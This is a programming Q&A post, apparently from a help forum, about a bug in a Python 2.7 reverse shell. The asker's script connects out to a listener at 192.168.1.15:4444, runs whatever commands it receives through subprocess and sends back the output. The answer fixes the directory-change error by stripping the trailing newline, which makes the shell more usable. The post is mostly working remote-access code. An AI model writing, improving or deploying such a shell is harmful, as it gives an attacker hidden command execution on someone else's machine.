python-2.7reverse-shell

WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect


I'm making a simple Python 2.7 reverse-shell , for the directory change function everytime I type cd C:\ in my netcat server it throws this error "WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect: 'C:\\n'" Here is my code.

    import socket
    import os
    import subprocess
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    host = "192.168.1.15"
    port = 4444
    s.connect((host, port))
    s.send(os.getcwd() + '> ')
    def Shell():
        while True:
            data = s.recv(1024)
            if data[:2] == 'cd':
                os.chdir(data[3:])
            if len(data) > 0:
                proc = subprocess.Popen(data, shell = True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
                result = proc.stdout.read() + proc.stderr.read()
                s.send(result)
                s.send(os.getcwd() + '> ')
                print(data)
    Shell()

Solution

  • When you use data = s.recv(1024) to receive data from remote, the \n character, generated when you press Enter to end current input, will be received at the same time.

    So you just need to .strip() it, or use [:-1] to remove the last character (which is \n), when you get data.

    data = s.recv(1024).strip()
    

    or

    data = s.recv(1024)[:-1]
    

    may both OK.